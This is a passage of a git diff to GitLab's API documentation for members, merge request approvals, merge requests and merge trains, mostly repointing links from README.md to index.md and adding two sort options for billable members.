@@ -104,7 +104,7 @@ GET /projects/:id/members/all
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `query` | string | no | A query string to search for members |
| `user_ids` | array of integers | no | Filter the results on the given user IDs |
@@ -169,7 +169,7 @@ GET /projects/:id/members/:user_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `user_id` | integer | yes | The user ID of the member |
```shell
@@ -208,7 +208,7 @@ GET /projects/:id/members/all/:user_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `user_id` | integer | yes | The user ID of the member |
```shell
@@ -244,7 +244,7 @@ This API endpoint works on top-level groups only. It does not work on subgroups.
NOTE:
Unlike other API endpoints, billable members is updated once per day at 12:00 UTC.
-This function takes [pagination](README.md#pagination) parameters `page` and `per_page` to restrict the list of users.
+This function takes [pagination](index.md#pagination) parameters `page` and `per_page` to restrict the list of users.
[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/262875) in GitLab 13.7, the `search` and
`sort` parameters allow you to search for billable group members by name and sort the results,
@@ -256,22 +256,24 @@ GET /groups/:id/billable_members
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `search` | string | no | A query string to search for group members by name, username, or email. |
| `sort` | string | no | A query string containing parameters that specify the sort attribute and order. See supported values below.|
The supported values for the `sort` attribute are:
-| Value | Description |
-| ------------------- | ------------------------ |
-| `access_level_asc` | Access level, ascending |
-| `access_level_desc` | Access level, descending |
-| `last_joined` | Last joined |
-| `name_asc` | Name, ascending |
-| `name_desc` | Name, descending |
-| `oldest_joined` | Oldest joined |
-| `oldest_sign_in` | Oldest sign in |
-| `recent_sign_in` | Recent sign in |
+| Value | Description |
+| ----------------------- | ---------------------------- |
+| `access_level_asc` | Access level, ascending |
+| `access_level_desc` | Access level, descending |
+| `last_joined` | Last joined |
+| `name_asc` | Name, ascending |
+| `name_desc` | Name, descending |
+| `oldest_joined` | Oldest joined |
+| `oldest_sign_in` | Oldest sign in |
+| `recent_sign_in` | Recent sign in |
+| `last_activity_on_asc` | Last active date, ascending |
+| `last_activity_on_desc` | Last active date, descending |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/billable_members"
@@ -333,7 +335,7 @@ This API endpoint works on top-level groups only. It does not work on subgroups.
This API endpoint requires permission to admin memberships for the group.
-This API endpoint takes [pagination](README.md#pagination) parameters `page` and `per_page` to restrict the list of memberships.
+This API endpoint takes [pagination](index.md#pagination) parameters `page` and `per_page` to restrict the list of memberships.
```plaintext
GET /groups/:id/billable_members/:user_id/memberships
@@ -341,7 +343,7 @@ GET /groups/:id/billable_members/:user_id/memberships
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `user_id` | integer | yes | The user ID of the billable member |
```shell
@@ -393,7 +395,7 @@ DELETE /groups/:id/billable_members/:user_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `user_id` | integer | yes | The user ID of the member |
```shell
@@ -411,7 +413,7 @@ POST /projects/:id/members
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `user_id` | integer/string | yes | The user ID of the new member or multiple IDs separated by commas |
| `access_level` | integer | yes | A valid access level |
| `expires_at` | string | no | A date string in the format `YEAR-MONTH-DAY` |
@@ -452,7 +454,7 @@ PUT /projects/:id/members/:user_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `user_id` | integer | yes | The user ID of the member |
| `access_level` | integer | yes | A valid access level |
| `expires_at` | string | no | A date string in the format `YEAR-MONTH-DAY` |
@@ -492,7 +494,7 @@ POST /groups/:id/members/:user_id/override
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `user_id` | integer | yes | The user ID of the member |
```shell
@@ -529,7 +531,7 @@ DELETE /groups/:id/members/:user_id/override
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `user_id` | integer | yes | The user ID of the member |
```shell
@@ -564,7 +566,7 @@ DELETE /projects/:id/members/:user_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `user_id` | integer | yes | The user ID of the member |
| `skip_subresources` | boolean | false | Whether the deletion of direct memberships of the removed member in subgroups and projects should be skipped. Default is `false`. |
| `unassign_issuables` | boolean | false | Whether the removed member should be unassigned from any issues or merge requests inside a given group or project. Default is `false`. |
diff --git a/doc/api/merge_request_approvals.md b/doc/api/merge_request_approvals.md
index 8947e5b382f..7bcf4d4c875 100644
--- a/doc/api/merge_request_approvals.md
+++ b/doc/api/merge_request_approvals.md
@@ -29,7 +29,7 @@ GET /projects/:id/approvals
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | ------------------- |
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
```json
{
@@ -58,7 +58,7 @@ POST /projects/:id/approvals
| Attribute | Type | Required | Description |
| ------------------------------------------------ | ------- | -------- | --------------------------------------------------------------------------------------------------- |
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
| `approvals_before_merge` | integer | no | How many approvals are required before an MR can be merged. Deprecated in 12.0 in favor of Approval Rules API. |
| `reset_approvals_on_push` | boolean | no | Reset approvals on a new push |
| `disable_overriding_approvers_per_merge_request` | boolean | no | Allow/Disallow overriding approvers per MR |
@@ -93,7 +93,7 @@ GET /projects/:id/approval_rules
| Attribute | Type | Required | Description |
|----------------------|---------|----------|-----------------------------------------------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
```json
[
@@ -192,7 +192,7 @@ GET /projects/:id/approval_rules/:approval_rule_id
| Attribute | Type | Required | Description |
|----------------------|---------|----------|-----------------------------------------------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
| `approval_rule_id` | integer | yes | The ID of a approval rule |
```json
@@ -291,7 +291,7 @@ POST /projects/:id/approval_rules
| Attribute | Type | Required | Description |
|------------------------|---------|----------|------------------------------------------------------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
| `name` | string | yes | The name of the approval rule |
| `approvals_required` | integer | yes | The number of required approvals for this rule |
| `user_ids` | Array | no | The ids of users as approvers |
@@ -396,7 +396,7 @@ PUT /projects/:id/approval_rules/:approval_rule_id
| Attribute | Type | Required | Description |
|------------------------|---------|----------|------------------------------------------------------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
| `approval_rule_id` | integer | yes | The ID of a approval rule |
| `name` | string | yes | The name of the approval rule |
| `approvals_required` | integer | yes | The number of required approvals for this rule |
@@ -500,7 +500,7 @@ DELETE /projects/:id/approval_rules/:approval_rule_id
| Attribute | Type | Required | Description |
|----------------------|---------|----------|-----------------------------------------------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
| `approval_rule_id` | integer | yes | The ID of a approval rule
## Merge Request-level MR approvals
@@ -523,7 +523,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/approvals
| Attribute | Type | Required | Description |
|---------------------|---------|----------|---------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of MR |
```json
@@ -570,7 +570,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/approvals
| Attribute | Type | Required | Description |
|----------------------|---------|----------|--------------------------------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of MR |
| `approvals_required` | integer | yes | Approvals required before MR can be merged. Deprecated in 12.0 in favor of Approval Rules API. |
@@ -612,7 +612,7 @@ This includes additional information about the users who have already approved
| Attribute | Type | Required | Description |
|----------------------|---------|----------|---------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of MR |
```json
@@ -679,7 +679,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/approval_rules
| Attribute | Type | Required | Description |
|---------------------|---------|----------|---------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of MR |
```json
@@ -757,7 +757,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/approval_rules
| Attribute | Type | Required | Description |
|----------------------------|---------|----------|------------------------------------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of MR |
| `name` | string | yes | The name of the approval rule |
| `approvals_required` | integer | yes | The number of required approvals for this rule |
@@ -847,7 +847,7 @@ These are system generated rules.
| Attribute | Type | Required | Description |
|----------------------|---------|----------|------------------------------------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The ID of MR |
| `approval_rule_id` | integer | yes | The ID of a approval rule |
| `name` | string | yes | The name of the approval rule |
@@ -931,7 +931,7 @@ These are system generated rules.
| Attribute | Type | Required | Description |
|---------------------|---------|----------|---------------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of the merge request |
| `approval_rule_id` | integer | yes | The ID of an approval rule |
@@ -951,7 +951,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/approve
| Attribute | Type | Required | Description |
|---------------------|---------|----------|-------------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of the merge request |
| `sha` | string | no | The `HEAD` of the merge request |
| `approval_password` **(PREMIUM)** | string | no | Current user's password. Required if [**Require user password to approve**](../user/project/merge_requests/approvals/settings.md#require-authentication-for-approvals) is enabled in the project settings. |
@@ -1015,5 +1015,5 @@ POST /projects/:id/merge_requests/:merge_request_iid/unapprove
| Attribute | Type | Required | Description |
|---------------------|---------|----------|---------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of a merge request |
diff --git a/doc/api/merge_request_context_commits.md b/doc/api/merge_request_context_commits.md
index cd38d972320..b40d67ab4e3 100644
--- a/doc/api/merge_request_context_commits.md
+++ b/doc/api/merge_request_context_commits.md
@@ -17,7 +17,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/context_commits
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
- `merge_request_iid` (required) - The internal ID of the merge request
```json
@@ -49,7 +49,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/context_commits
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
- `merge_request_iid` (required) - The internal ID of the merge request
```plaintext
@@ -88,7 +88,7 @@ DELETE /projects/:id/merge_requests/:merge_request_iid/context_commits
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
- `merge_request_iid` (required) - The internal ID of the merge request
| Attribute | Type | Required | Description |
diff --git a/doc/api/merge_requests.md b/doc/api/merge_requests.md
index 57754f62d5a..bc8c0397a3a 100644
--- a/doc/api/merge_requests.md
+++ b/doc/api/merge_requests.md
@@ -265,7 +265,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------------------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `iids[]` | integer array | no | Return the request having the given `iid`. |
| `state` | string | no | Return all merge requests or just those that are `opened`, `closed`, `locked`, or `merged`. |
| `order_by` | string | no | Return requests ordered by `created_at` or `updated_at` fields. Default is `created_at`. |
@@ -453,7 +453,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------------------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `state` | string | no | Return all merge requests or just those that are `opened`, `closed`, `locked`, or `merged`. |
| `order_by` | string | no | Return merge requests ordered by `created_at` or `updated_at` fields. Default is `created_at`. |
| `sort` | string | no | Return merge requests sorted in `asc` or `desc` order. Default is `desc`. |
@@ -623,7 +623,7 @@ Parameters:
| Attribute | Type | Required | Description |
|----------------------------------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
| `render_html` | integer | no | If `true` response includes rendered HTML for title and description. |
| `include_diverged_commits_count` | boolean | no | If `true` response includes the commits behind the target branch. |
@@ -790,7 +790,7 @@ Parameters:
| Attribute | Type | Required | Description |
|----------------------------------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
```json
@@ -826,7 +826,7 @@ Parameters:
| Attribute | Type | Required | Description |
|----------------------------------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
```json
@@ -864,7 +864,7 @@ Parameters:
| Attribute | Type | Required | Description |
|----------------------------------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
| `access_raw_diffs` | boolean | no | Retrieve change diffs via Gitaly. |
@@ -988,7 +988,7 @@ Parameters:
| Attribute | Type | Required | Description |
|----------------------------------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
```json
@@ -1006,15 +1006,15 @@ Parameters:
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/31722) in GitLab 12.3.
-Create a new [pipeline for a merge request](../ci/merge_request_pipelines/index.md).
+Create a new [pipeline for a merge request](../ci/pipelines/merge_request_pipelines.md).
A pipeline created via this endpoint doesn't run a regular branch/tag pipeline.
It requires `.gitlab-ci.yml` to be configured with `only: [merge_requests]` to create jobs.
The new pipeline can be:
- A detached merge request pipeline.
-- A [pipeline for merged results](../ci/merge_request_pipelines/pipelines_for_merged_results/index.md)
- if the [project setting is enabled](../ci/merge_request_pipelines/pipelines_for_merged_results/index.md#enable-pipelines-for-merged-results).
+- A [pipeline for merged results](../ci/pipelines/pipelines_for_merged_results.md)
+ if the [project setting is enabled](../ci/pipelines/pipelines_for_merged_results.md#enable-pipelines-for-merged-results).
```plaintext
POST /projects/:id/merge_requests/:merge_request_iid/pipelines
@@ -1024,7 +1024,7 @@ Parameters:
| Attribute | Type | Required | Description |
|----------------------------------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
```json
@@ -1076,7 +1076,7 @@ POST /projects/:id/merge_requests
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `source_branch` | string | yes | The source branch. |
| `target_branch` | string | yes | The target branch. |
| `title` | string | yes | Title of MR. |
@@ -1226,7 +1226,7 @@ PUT /projects/:id/merge_requests/:merge_request_iid
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The ID of a merge request. |
| `target_branch` | string | no | The target branch. |
| `title` | string | no | Title of MR. |
@@ -1397,7 +1397,7 @@ DELETE /projects/:id/merge_requests/:merge_request_iid
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
```shell
@@ -1424,7 +1424,7 @@ Parameters:
| Attribute | Type | Required | Description |
|--------------------------------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
| `merge_commit_message` | string | no | Custom merge commit message. |
| `squash_commit_message` | string | no | Custom squash commit message. |
@@ -1596,7 +1596,7 @@ Parameters:
| Attribute | Type | Required | Description |
|--------------------------------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
```json
@@ -1619,7 +1619,7 @@ Parameters:
| Attribute | Type | Required | Description |
|--------------------------------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
```json
@@ -1776,7 +1776,7 @@ PUT /projects/:id/merge_requests/:merge_request_iid/rebase
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
| `skip_ci` | boolean | no | Set to `true` to skip creating a CI pipeline. |
@@ -1839,7 +1839,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/closes_issues
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
```shell
@@ -1915,7 +1915,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/subscribe
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
```shell
@@ -2075,7 +2075,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/unsubscribe
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
```shell
@@ -2235,7 +2235,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/todo
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
```shell
@@ -2478,7 +2478,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/time_estimate
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
| `duration` | string | yes | The duration in human format, such as `3h30m`. |
@@ -2507,7 +2507,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/reset_time_estimate
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of a project's merge_request. |
```shell
@@ -2535,7 +2535,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/add_spent_time
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
| `duration` | string | yes | The duration in human format, such as `3h30m` |
@@ -2564,7 +2564,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/reset_spent_time
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of a project's merge_request. |
```shell
@@ -2590,7 +2590,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/time_stats
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `merge_request_iid` | integer | yes | The internal ID of the merge request. |
```shell
diff --git a/doc/api/merge_trains.md b/doc/api/merge_trains.md
index f74f7785d30..2b52166d954 100644
--- a/doc/api/merge_trains.md
+++ b/doc/api/merge_trains.md
@@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Merge Trains API **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36146) in GitLab 12.9.
-> - Using this API you can consume [Merge Train](../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md) entries.
+> - Using this API you can consume [Merge Train](../ci/pipelines/merge_trains.md) entries.
Every API call to merge trains must be authenticated with Developer or higher [permissions](../user/permissions.md).
@@ -20,7 +20,7 @@ If Merge Trains is not available for the project, a `403` status code is returne
By default, `GET` requests return 20 results at a time because the API results
are paginated.
-Read more on [pagination](README.md#pagination).
+Read more on [pagination](index.md#pagination).
## List Merge Trains for a project
@@ -33,7 +33,7 @@ GET /projects/:id/merge_trains?scope=complete
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `scope` | string | no | Return Merge Trains filtered by the given scope. Available scopes are `active` (to be merged) and `complete` (have been merged). |
